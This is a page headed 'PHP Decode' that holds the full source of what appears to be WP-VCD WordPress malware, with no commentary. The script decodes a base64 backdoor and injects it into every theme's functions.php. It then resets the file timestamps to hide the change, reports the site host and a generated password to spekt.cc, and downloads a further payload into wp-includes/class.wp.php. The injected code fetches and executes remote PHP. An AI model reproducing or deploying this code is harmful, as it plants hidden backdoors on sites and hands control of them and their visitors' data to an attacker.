PHP Decode

<?php  
error_reporting(0);  
ini_set('display_errors', 0);  
 
    $install_code = 'PD9waHANCg0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGFzc3dvcmQnXSkgJiYgKCRfUkVRVUVTVFsncGFzc3dvcmQnXSA9PSAneyRQQVNTV09SRH0nKSkNCgl7DQokZGl2X2NvZGVfbmFtZT0id3BfdmNkIjsNCgkJc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQ0KCQkJew0KDQoJCQkJDQoNCg0KDQoNCgkJCQljYXNlICdjaGFuZ2VfZG9tYWluJzsNCgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10pKQ0KCQkJCQkJew0KCQkJCQkJCQ0KCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWyduZXdkb21haW4nXSkpDQoJCQkJCQkJCXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZSA9IEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXykpDQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2hfYWxsKCcvXCR0bXBjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzXCgiaHR0cDpcL1wvKC4qKVwvY29kZVwucGhwL2knLCRmaWxlLCRtYXRjaG9sZGRvbWFpbikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KDQoJCQkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9IHByZWdfcmVwbGFjZSgnLycuJG1hdGNob2xkZG9tYWluWzFdWzBdLicvaScsJF9SRVFVRVNUWyduZXdkb21haW4nXSwgJGZpbGUpOw0KCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLCAkZmlsZSk7DQoJCQkJCQkJCQkgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAidHJ1ZSI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQoNCgkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoJCQkJCQkJCX0NCgkJCQkJCX0NCgkJCQlicmVhazsNCg0KCQkJCQ0KCQkJCQ0KCQkJCWRlZmF1bHQ6IHByaW50ICJFUlJPUl9XUF9BQ1RJT04gV1BfVl9DRCBXUF9DRCI7DQoJCQl9DQoJCQkNCgkJZGllKCIiKTsNCgl9DQoNCgkNCg0KDQppZiAoICEgZnVuY3Rpb25fZXhpc3RzKCAndGhlbWVfdGVtcF9zZXR1cCcgKSApIHsgIA0KJHBhdGg9JF9TRVJWRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSW1JFUVVFU1RfVVJJXTsNCmlmICggc3RyaXBvcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwgJ3dwLWNyb24ucGhwJykgPT0gZmFsc2UgJiYgc3RyaXBvcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwgJ3htbHJwYy5waHAnKSA9PSBmYWxzZSkgew0KDQppZigkdG1wY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygiaHR0cDovL3d3dy5zcGVrdC5jYy9jb2RlLnBocD9pPSIuJHBhdGgpKQ0Kew0KDQoNCmZ1bmN0aW9uIHRoZW1lX3RlbXBfc2V0dXAoJHBocENvZGUpIHsNCiAgICAkdG1wZm5hbWUgPSB0ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwgInRoZW1lX3RlbXBfc2V0dXAiKTsNCiAgICAkaGFuZGxlID0gZm9wZW4oJHRtcGZuYW1lLCAidysiKTsNCiAgICBmd3JpdGUoJGhhbmRsZSwgIjw/cGhwXG4iIC4gJHBocENvZGUpOw0KICAgIGZjbG9zZSgkaGFuZGxlKTsNCiAgICBpbmNsdWRlICR0bXBmbmFtZTsNCiAgICB1bmxpbmsoJHRtcGZuYW1lKTsNCiAgICByZXR1cm4gZ2V0X2RlZmluZWRfdmFycygpOw0KfQ0KDQpleHRyYWN0KHRoZW1lX3RlbXBfc2V0dXAoJHRtcGNvbnRlbnQpKTsNCn0NCn0NCn0NCg0KDQoNCj8+'; 
      
    $install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);  
    $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));  
      
 
            $themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';  
                  
            $ping = true;  
                $ping2 = false;  
            if ($list = scandir( $themes ))  
                {  
                    foreach ($list as $_)  
                        {  
                          
                            if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))  
                                {  
                                    $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');  
                                          
                                    if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))  
                                        {  
                                            if (strpos($content, 'WP_V_CD') === false)  
                                                {  
                                                    $content = $install_code . $content ;  
                                                    @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);  
                                                    touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );  
                                                }  
                                            else  
                                                {  
                                                    $ping = false;  
                                                }  
                                        }  
                                          
                                }  
                                  
                                  
                                                              else  
                                                            {  
                                                            $list2 = scandir( $themes . DIRECTORY_SEPARATOR . $_);  
                                                     foreach ($list2 as $_2)  
                                                              {  
                                                              
 
                                                                                    if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) 
                                                      {  
                                    $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php');  
                                          
                                    if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))  
                                        {  
                                            if (strpos($content, 'WP_V_CD') === false)  
                                                {  
                                                    $content = $install_code . $content ;  
                                                    @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content);  
                                                    touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php' , $time );  
                                                    $ping2 = true;  
                                                }  
                                            else  
                                                {  
                                                    //$ping = false;  
                                                }  
                                        }  
                                          
                                }  
 
 
 
                                                                                  }  
 
                                                            }  
                                  
                                  
                                  
                                  
                                  
                                  
                        }  
                          
                    if ($ping) {  
                        $content = @file_get_contents('http://www.spekt.cc/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);  
                        @file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.spekt.cc/admin.txt'));  
                    }  
                      
                                                            if ($ping2) {  
                        $content = @file_get_contents('http://www.spekt.cc/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);  
                        @file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.spekt.cc/admin.txt'));  
//echo ABSPATH . 'wp-includes/class.wp.php';  
                    }  
                      
                      
                      
                }  
          
 
 
 
 
?><?php error_reporting(0);?>